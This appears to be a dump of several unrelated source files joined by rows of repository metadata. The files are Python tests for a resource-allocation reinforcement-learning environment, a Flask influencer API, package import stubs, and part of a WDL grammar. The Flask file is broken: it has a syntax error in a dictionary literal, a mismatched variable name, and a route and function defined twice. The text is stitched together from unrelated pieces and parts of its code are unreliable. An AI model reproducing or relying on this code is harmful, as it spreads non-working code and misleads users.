expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 0., 2.],
[400., 500., 600., 0., 3.],
[ 10., 20., 30., 1., 1.], # Resource task 1
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 1.] # Resource task 4
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[-20],
[-20]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_premium_user_NO_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [1, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 1.], # Resource task 1
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 1.] # Resource task 4
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 1., 1.],
[ 400., 500., 600., 4., 1.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 90., 180., 270., 1., 2.],
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 1.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3600., 4500., 5400., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 1.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[20],
[20]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_premium_user_WITH_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [1, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 1.], # Resource task 15
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 1.] # Resource task 10
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 15., 1.],
[ 400., 500., 600., 10., 1.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 80., 170., 260., 1., 2.],
[ 400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 1.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3590., 4490., 5390., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 1.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[10],
[10]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_free_user_NO_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [0, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 0.], # Resource task 1
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 0.] # Resource task 4
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 1., 0.],
[ 400., 500., 600., 4., 0.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 90., 180., 270., 1., 2.],
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 0.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3600., 4500., 5400., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 0.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[10],
[10]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_free_user_WITH_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [1, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 0.], # Resource task 15
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 0.] # Resource task 10
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 15., 0.],
[ 400., 500., 600., 10., 0.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 80., 170., 260., 1., 2.],
[ 400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 0.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3590., 4490., 5390., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 0.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[5],
[5]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_SHOULD_be_Done(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 0., 2.], # Node task range [0, 2]
[400., 500., 600., 0., 3.],
[ 10., 20., 30., 15., 0.], # Resource task 15
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 0.] # Resource task 10
]], dtype='float32')
self.env.rebuild_history()
# Before any insertion
expected_resource_mask = [
[1.0, 1.0, 1.0, 0.0, 0.0],
[1.0, 1.0, 1.0, 0.0, 0.0]
]
self.assertEqual(
self.env.resource_net_mask.tolist(),
expected_resource_mask
)
expected_mha_mask = [
[[[0.0, 0.0, 0.0, 0.0, 0.0]]],
[[[0.0, 0.0, 0.0, 0.0, 0.0]]]
]
self.assertEqual(
self.env.mha_used_mask.tolist(),
expected_mha_mask
)
feasible_bin_mask = np.array([
[ 0., 0., 0., 1., 1.],
[ 0., 0., 0., 1., 1.]
], dtype='float32')
# First Step
bin_ids = [1 , 2]
resource_ids = [3 , 4]
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_resource_mask = [
[1.0, 1.0, 1.0, 1.0, 0.0],
[1.0, 1.0, 1.0, 0.0, 1.0]
]
self.assertEqual(
info['resource_net_mask'].tolist(),
expected_resource_mask
)
expected_mha_mask = [
[[[0.0, 0.0, 0.0, 1.0, 0.0]]],
[[[0.0, 0.0, 0.0, 0.0, 1.0]]]
]
self.assertEqual(
info['mha_used_mask'].tolist(),
expected_mha_mask
)
# Second Step
bin_ids = [0 , 0]
resource_ids = [4 , 3]
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
self.assertTrue(isDone)
expected_resource_mask = [
[1.0, 1.0, 1.0, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0]
]
self.assertEqual(
info['resource_net_mask'].tolist(),
expected_resource_mask
)
expected_mha_mask = [
[[[0.0, 0.0, 0.0, 1.0, 1.0]]],
[[[0.0, 0.0, 0.0, 1.0, 1.0]]]
]
self.assertEqual(
info['mha_used_mask'].tolist(),
expected_mha_mask
)
class TestMaskingFn(unittest.TestCase):
def setUp(self) -> None:
ENV_CONFIG = {
"description": "Environment configs.",
"load_from_file": False,
"location": "./environment/custom/knapsack/problem.json",
"gather_stats": False,
"unique_elements_in_batch": True,
"use_advanced_masking": True,
"batch_size": 2,
"num_features": 5,
"num_resources": 100,
"num_bins": 10,
"EOS_CODE": 0,
"resource_sample_size": 2,
"bin_sample_size": 2,
"resource_normalization_factor": 1,
"task_normalization_factor": 1,
"num_iterations_before_node_reset": 10,
"num_user_levels": 1,
# "reward_per_level": [10, 20],
# "misplace_reward_penalty": 5,
"reward": {
"type": "greedy",
"greedy": {
"reward_per_level": [ 10, 20 ],
"misplace_penalty_factor": 0.5,
"correct_place_factor": 1,
"premium_rejected": -20,
"free_rejected": 0
},
"fair": {
}
},
"num_task_types": 10,
# "CPU_misplace_penalty": 10,
# "RAM_misplace_penalty": 10,
# "MEM_misplace_penalty": 10,
"penalty": {
"type": "greedy",
"greedy": {
"CPU_misplace_penalty": 10,
"RAM_misplace_penalty": 10,
"MEM_misplace_penalty": 10
}
},
"min_resource_CPU": 10,
"max_resource_CPU": 20,
"min_resource_RAM": 30,
"max_resource_RAM": 40,
"min_resource_MEM": 50,
"max_resource_MEM": 60,
"min_bin_CPU": 100,
"max_bin_CPU": 200,
"min_bin_RAM": 300,
"max_bin_RAM": 400,
"min_bin_MEM": 500,
"max_bin_MEM": 600,
"min_bin_range_type": 2,
"max_bin_range_type": 3
}
self.env = ResourceEnvironment('Resource', ENV_CONFIG)
def test_build_feasible_mask_SHOULD_mask_all(self):
state = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 2., 3., 0., 2.], # Node 1 -> Mask it because it's full
[ 5., 5., 5., 0., 3.], # Node 2 -> Mask it because it's full
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 2., 3., 2., 5.], # Node 1 -> Mask it because it's full
[ 4., 5., 6., 3., 6.], # Node 2 -> Mask it because it's full
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 8., 1.] # Resource 2
]], dtype='float32')
resources = np.array([
[ 10., 20., 30., 1., 1.],
[ 400., 500., 600., 8., 1.]
], dtype='float32')
bin_net_mask = np.array([
[0., 0., 0., 1., 1.],
[0., 0., 0., 1., 1.]
], dtype='float32')
actual_mask = self.env.build_feasible_mask(
state,
resources,
bin_net_mask
)
expected_mask = [
[0.0, 1.0, 1.0, 1.0, 1.0],
[0.0, 1.0, 1.0, 1.0, 1.0],
]
self.assertEqual(
actual_mask.tolist(),
expected_mask
)
def test_build_feasible_mask_SHOULD_leave_all_unmasked(self):
state = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 100., 200., 300., 0., 2.], # Node 1 -> Don't mask it. Within the range AND has enough resources
[ 500., 500., 500., 0., 3.], # Node 2 -> Don't mask it. Within the range AND has enough resources
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1000., 2000., 3000., 2., 5.], # Node 1 -> Don't mask it. Outside the range BUT has enough resources
[ 4000., 5000., 6000., 3., 6.], # Node 2 -> Don't mask it. Outside the range BUT has enough resources
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 8., 1.] # Resource 2
]], dtype='float32')
resources = np.array([
[10., 20., 30., 1., 1.],
[400., 500., 600., 8., 1.]
], dtype='float32')
bin_net_mask = np.array([
[0., 0., 0., 1., 1.],
[0., 0., 0., 1., 1.]
], dtype='float32')
actual_mask = self.env.build_feasible_mask(
state,
resources,
bin_net_mask
)
expected_mask = [
[0.0, 0.0, 0.0, 1.0, 1.0],
[0.0, 0.0, 0.0, 1.0, 1.0],
]
self.assertEqual(
actual_mask.tolist(),
expected_mask
)
def test_build_feasible_mask_SHOULD_mask_1_bin_IN_RANGE(self):
state = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 2., 3., 0., 2.], # Node 1 -> Don't mask it. Within the range BUT don't has enough resources
[ 10., 20., 30., 0., 3.], # Node 2 -> Don't mask it. Within the range AND has enough resources
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 2., 3., 2., 5.], # Node 1 -> Don't mask it. Within the range BUT don't has enough resources
[ 400., 500., 600., 3., 6.], # Node 2 -> Don't mask it. Within the range AND has enough resources
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 5., 1.] # Resource 2
]], dtype='float32')
resources = np.array([
[ 10., 20., 30., 1., 1.], # Resource 1
[ 400., 500., 600., 5., 1.] # Resource 2
], dtype='float32')
bin_net_mask = np.array([
[0., 0., 0., 1., 1.],
[0., 0., 0., 1., 1.]
], dtype='float32')
actual_mask = self.env.build_feasible_mask(
state,
resources,
bin_net_mask
)
expected_mask = [
[0.0, 1.0, 0.0, 1.0, 1.0],
[0.0, 1.0, 0.0, 1.0, 1.0],
]
self.assertEqual(
actual_mask.tolist(),
expected_mask
)
def test_build_feasible_mask_SHOULD_mask_all_because_bin_OUT_RANGE(self):
state = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 2., 3., 0., 2.], # Node 1 -> Mask it. Outside the range AND has enough resources
[ 10., 20., 30., 0., 3.], # Node 2 -> Mask it. Outside the range BUT has enough resources because of penalty
[ 10., 20., 30., 15., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 2., 3., 2., 5.], # Node 1 -> Mask it. Outside the range AND has enough resources
[ 400., 500., 600., 3., 6.], # Node 2 -> Mask it. Outside the range BUT has enough resources because of penalty
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 15., 1.] # Resource 2
]], dtype='float32')
resources = np.array([
[ 10., 20., 30., 15., 1.], # Resource 1
[ 400., 500., 600., 15., 1.] # Resource 2
], dtype='float32')
bin_net_mask = np.array([
[0., 0., 0., 1., 1.],
[0., 0., 0., 1., 1.]
], dtype='float32')
actual_mask = self.env.build_feasible_mask(
state,
resources,
bin_net_mask
)
expected_mask = [
[0.0, 1.0, 1.0, 1.0, 1.0],
[0.0, 1.0, 1.0, 1.0, 1.0],
]
self.assertEqual(
actual_mask.tolist(),
expected_mask
)
def test_build_feasible_mask_SHOULD_leave_bins_OUT_RANGE_unmasked(self):
state = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 50., 50., 50., 0., 2.], # Node 1 -> Don't mask it. Within the range AND has enough resources
[ 50., 50., 50., 2., 3.], # Node 2 -> Mask it. Outside the range BUT has enough resources. However, there's a node within the range with enough resources
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 700., 700., 700., 1., 5.], # Node 1 -> Don't mask it. Within the range AND has enough resources
[ 700., 700., 700., 3., 6.], # Node 2 -> Mask it. Outside the range BUT has enough resources. However, there's a node within the range with enough resources
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 1., 1.] # Resource 2
]], dtype='float32')
resources = np.array([
[ 10., 20., 30., 1., 1.], # Resource 1
[ 400., 500., 600., 1., 1.] # Resource 2
], dtype='float32')
bin_net_mask = np.array([
[0., 0., 0., 1., 1.],
[0., 0., 0., 1., 1.]
], dtype='float32')
actual_mask = self.env.build_feasible_mask(
state,
resources,
bin_net_mask
)
expected_mask = [
[0.0, 0.0, 1.0, 1.0, 1.0],
[0.0, 0.0, 1.0, 1.0, 1.0],
]
self.assertEqual(
actual_mask.tolist(),
expected_mask
)
def test_build_feasible_mask_SHOULD_leave_bins_OUT_RANGE_unmasked_(self):
state = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 1., 1., 1., 0., 2.], # Node 1 -> Mask it. Within the range BUT don't have enough resources
[ 50., 50., 50., 2., 3.], # Node 2 -> Don't mask it. Outside the range AND have enough resources.
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[ 10., 10., 10., 1., 5.], # Node 1 -> Mask it. Within the range BUT don't have enough resources
[ 700., 700., 700., 3., 6.], # Node 2 -> Don't mask it. Outside the range AND have enough resources.
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 1., 1.] # Resource 2
]], dtype='float32')
resources = np.array([
[ 10., 20., 30., 1., 1.], # Resource 1
[ 400., 500., 600., 1., 1.] # Resource 2
], dtype='float32')
bin_net_mask = np.array([
[0., 0., 0., 1., 1.],
[0., 0., 0., 1., 1.]
], dtype='float32')
actual_mask = self.env.build_feasible_mask(
state,
resources,
bin_net_mask
)
expected_mask = [
[0.0, 1.0, 0.0, 1.0, 1.0],
[0.0, 1.0, 0.0, 1.0, 1.0],
]
self.assertEqual(
actual_mask.tolist(),
expected_mask
) | 34.162562 | 179 | 0.402101 | 5,291 | 48,545 | 3.524665 | 0.038178 | 0.044614 | 0.048903 | 0.042898 | 0.955333 | 0.952169 | 0.94434 | 0.942249 | 0.93619 | 0.930452 | 0 | 0.151741 | 0.439201 | 48,545 | 1,421 | 180 | 34.162562 | 0.533279 | 0.083696 | 0 | 0.856643 | 0 | 0 | 0.081013 | 0.015796 | 0 | 0 | 0 | 0 | 0.05507 | 1 | 0.021853 | false | 0 | 0.003497 | 0 | 0.028846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
caab0e6dae016f378cffb434a073b31918a706c6 | 2,713 | py | Python | mockstagram_webapp/src/api/influencer.py | rahulzomato/Mockstagram | 2287980b34313401e725e50d96fe5300723c4311 | [
"MIT"
] | null | null | null | mockstagram_webapp/src/api/influencer.py | rahulzomato/Mockstagram | 2287980b34313401e725e50d96fe5300723c4311 | [
"MIT"
] | 7 | 2020-03-24T16:25:35.000Z | 2021-09-23T23:23:12.000Z | mockstagram_webapp/src/api/influencer.py | rahulzomato/Mockstagram | 2287980b34313401e725e50d96fe5300723c4311 | [
"MIT"
] | null | null | null | import os, json
from configs import settings as Settings
from models.influencer import Influencers, InfluencerData
from flask import Blueprint, request, url_for, jsonify
from mongoengine import connect
influencer_api = Blueprint('influencer_api', __name__, url_prefix='/api/v1')
@influencer_api.route('/')
def base_route():
return jsonify(abc="test", status=200)
@influencer_api.route('/influencer/<influencer_id>')
def influencer_details(influencer_id):
try:
influencer_id = int(influencer_id)
influencer = Influencers.objects(_influencer_id = influencer_id).first()
if influencer is None:
return jsonify(message="Influencer not found", status=404)
InfDet = InfluencerData.objects(influencer=influencer).order_by('-update_time').first()
following_ratio = int(InfDet.followers_count/InfDet.following_count) if InfDet.following_count != 0 else InfDet.followers_count
data = {
"name": influencer._name,
"influencer_id": influencer_id,
"followers_count": InfDet.followers_count,
"following_count": InfDet.following_count,
"follower_ratio": , follower_ratio,
"is_suspicious": influencer._is_suspicious
}
return jsonify(
message="Success",
status=200,
data=data
)
except ValueError:
return jsonify(message="Input influencer_id should be integer", status=400)
@influencer_api.route('/influencer/<influencer_id>')
def influencer_details(influencer_id):
try:
influencer_id = int(influencer_id)
influencer = Influencers.objects(_influencer_id = influencer_id).first()
if influencer is None:
return jsonify(message="Influencer not found", status=404)
InfDet = InfluencerData.objects(influencer=influencer).order_by('-update_time').first()
following_ratio = int(InfDet.followers_count/InfDet.following_count) if InfDet.following_count != 0 else InfDet.followers_count
data = {
"name": influencer._name,
"influencer_id": influencer_id,
"followers_count": InfDet.followers_count,
"following_count": InfDet.following_count,
"follower_ratio": follower_ratio,
"is_suspicious": influencer._is_suspicious
}
return jsonify(
message="Success",
status=200,
data=data
)
except ValueError:
return jsonify(message="Input influencer_id should be integer", status=400)
@influencer_api.route('/influencer/rankings')
def influencer_rankings():
#TODO: implement ranking logic
pass
return jsonify(message="Under construction", status=200)
@influencer_api.route('/influencer/average')
def influencer_average():
#TODO: implement average logic
pass
return jsonify(message="Under construction", status=200)
@influencer_api.route('/')
def basic_route():
return jsonify(message="please specify route", status=200) | 31.546512 | 129 | 0.766679 | 329 | 2,713 | 6.097264 | 0.237082 | 0.107677 | 0.089731 | 0.055833 | 0.786142 | 0.786142 | 0.77667 | 0.77667 | 0.77667 | 0.77667 | 0 | 0.01386 | 0.122374 | 2,713 | 86 | 130 | 31.546512 | 0.828643 | 0.022116 | 0 | 0.705882 | 0 | 0 | 0.179487 | 0.020362 | 0 | 0 | 0 | 0.011628 | 0 | 0 | null | null | 0.029412 | 0.073529 | null | null | 0.029412 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
cabe72fa39fa2d37ec933eed1631b9a0d5e79215 | 218 | py | Python | src/apps/accounts/views/__init__.py | dieisabel/proggy | 9e1428e5d1d5ba0217e34f86800a7d783a3673cd | [
"MIT"
] | 1 | 2021-03-13T20:59:25.000Z | 2021-03-13T20:59:25.000Z | src/apps/accounts/views/__init__.py | dieisabel/proggy | 9e1428e5d1d5ba0217e34f86800a7d783a3673cd | [
"MIT"
] | 69 | 2021-03-09T11:17:26.000Z | 2021-07-22T15:05:34.000Z | src/apps/accounts/views/__init__.py | dieisabel/proggy | 9e1428e5d1d5ba0217e34f86800a7d783a3673cd | [
"MIT"
] | null | null | null | from accounts.views.register import RegisterView
from accounts.views.profile_bio import ProfileBioView
from accounts.views.profile_blogs import ProfileBlogsView
from accounts.views.profile_edit import ProfileEditView
| 36.333333 | 57 | 0.885321 | 27 | 218 | 7.037037 | 0.481481 | 0.252632 | 0.357895 | 0.378947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077982 | 218 | 5 | 58 | 43.6 | 0.945274 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
cadc99cbb205e46ba20b687339e99a0f2b369a87 | 666 | py | Python | nn_analysis/models/archs/__init__.py | hchau630/nn-analysis | 0fbe7ad7b2b4566b9f88d8f21413a6d405f96bdc | [
"MIT"
] | null | null | null | nn_analysis/models/archs/__init__.py | hchau630/nn-analysis | 0fbe7ad7b2b4566b9f88d8f21413a6d405f96bdc | [
"MIT"
] | null | null | null | nn_analysis/models/archs/__init__.py | hchau630/nn-analysis | 0fbe7ad7b2b4566b9f88d8f21413a6d405f96bdc | [
"MIT"
] | null | null | null | from torchvision.models import *
from .wide_resnets_simclr_v1 import *
from .big_resnets_infomin import * # IMPORTANT: NETWORKS IMPORTED FROM THIS LINE DO NOT HAVE FINAL FC LAYERS
from .bw_resnets import *
from .simclr_normalization import add_simclr_normalization as _add_simclr_normalization
from .identity import *
from .barlowtwins import *
def resnet50_simclr(*args, **kwargs):
return _add_simclr_normalization(resnet50(*args, **kwargs))
def resnet50_1x_simclr(*args, **kwargs):
return _add_simclr_normalization(resnet50_1x(*args, **kwargs))
def resnet50_2x_simclr(*args, **kwargs):
return _add_simclr_normalization(resnet50_2x(*args, **kwargs)) | 41.625 | 109 | 0.795796 | 88 | 666 | 5.704545 | 0.386364 | 0.227092 | 0.219124 | 0.131474 | 0.310757 | 0.310757 | 0.310757 | 0.310757 | 0 | 0 | 0 | 0.028814 | 0.114114 | 666 | 16 | 110 | 41.625 | 0.822034 | 0.106607 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | true | 0 | 0.538462 | 0.230769 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
caf635891c9a49f786251169f830e5355d78f9b3 | 17,355 | py | Python | WDL/_grammar.py | illusional/miniwdl | f8fc2c4285f44fe87a26fa5a24fd94e7f48597b4 | [
"MIT"
] | null | null | null | WDL/_grammar.py | illusional/miniwdl | f8fc2c4285f44fe87a26fa5a24fd94e7f48597b4 | [
"MIT"
] | null | null | null | WDL/_grammar.py | illusional/miniwdl | f8fc2c4285f44fe87a26fa5a24fd94e7f48597b4 | [
"MIT"
] | null | null | null | from typing import Optional, Tuple, Set
# We share the following productions between the grammars for draft-2 and 1.0; this maximizes test
# coverage.
productions_common1 = r"""
///////////////////////////////////////////////////////////////////////////////////////////////////
// document
///////////////////////////////////////////////////////////////////////////////////////////////////
document: version? document_element*
| version? document_element*
version: "version" /[^ \t\r\n]+/
import_alias: "alias" CNAME "as" CNAME
import_doc: "import" string_literal ["as" CNAME] import_alias*
///////////////////////////////////////////////////////////////////////////////////////////////////
// workflow
///////////////////////////////////////////////////////////////////////////////////////////////////
workflow: "workflow" CNAME "{" workflow_element* "}"
?workflow_element: input_decls | any_decl | call | scatter | conditional | workflow_outputs | meta_section
scatter: "scatter" "(" CNAME "in" expr ")" "{" inner_workflow_element* "}"
conditional: "if" "(" expr ")" "{" inner_workflow_element* "}"
?inner_workflow_element: any_decl | call | scatter | conditional
call: "call" namespaced_ident call_body? -> call
| "call" namespaced_ident "as" CNAME call_body? -> call_as
namespaced_ident: CNAME ("." CNAME)*
call_inputs: "input" ":" [call_input ("," call_input)*] ","?
?call_body: "{" call_inputs? "}"
call_input: CNAME "=" expr
///////////////////////////////////////////////////////////////////////////////////////////////////
// task
///////////////////////////////////////////////////////////////////////////////////////////////////
task: "task" CNAME "{" task_section* command task_section* "}"
?task_section: input_decls
| output_decls
| meta_section
| runtime_section
| any_decl -> noninput_decl
tasks: task*
input_decls: "input" "{" any_decl* "}"
output_decls: "output" "{" bound_decl* "}"
// WDL task commands: with {} and <<< >>> command and ${} and ~{} placeholder styles
!?placeholder_key: "default" | "false" | "true" | "sep"
?placeholder_value: string_literal
| INT -> int
| FLOAT -> float
placeholder_option: placeholder_key "=" placeholder_value
placeholder: placeholder_option* expr
?command: command1 | command2
// meta/parameter_meta sections (effectively JSON)
meta_object: "{" [meta_kv (","? meta_kv)*] "}"
meta_kv: CNAME ":" meta_value
?meta_value: literal | string_literal
| meta_object
| "[" [meta_value ("," meta_value)*] "]" -> meta_array
!meta_section: ("meta" | "parameter_meta") meta_object
// task runtime section (key-expression pairs)
runtime_section: "runtime" "{" [runtime_kv (","? runtime_kv)*] "}"
runtime_kv: CNAME ":" expr
///////////////////////////////////////////////////////////////////////////////////////////////////
// decl
///////////////////////////////////////////////////////////////////////////////////////////////////
unbound_decl: type CNAME -> decl
bound_decl: type CNAME "=" expr -> decl
?any_decl: unbound_decl | bound_decl
///////////////////////////////////////////////////////////////////////////////////////////////////
// type
///////////////////////////////////////////////////////////////////////////////////////////////////
_quant: optional | nonempty | optional_nonempty
optional: "?"
nonempty: "+"
optional_nonempty: "+?"
CNAME: /[a-zA-Z][a-zA-Z0-9_]*/
COMMENT: /[ \t]*/ "#" /[^\r\n]*/
SPACE: /[ \t]+/
%import common.INT
%import common.SIGNED_INT
%import common.FLOAT
%import common.SIGNED_FLOAT
%import common.ESCAPED_STRING
%import common.NEWLINE
%ignore SPACE
%ignore NEWLINE
%ignore COMMENT
///////////////////////////////////////////////////////////////////////////////////////////////////
// expr
///////////////////////////////////////////////////////////////////////////////////////////////////
?expr: expr_infix
?expr_infix: expr_infix0
?expr_infix0: expr_infix0 "||" expr_infix1 -> lor
| expr_infix1
?expr_infix1: expr_infix1 "&&" expr_infix2 -> land
| expr_infix2
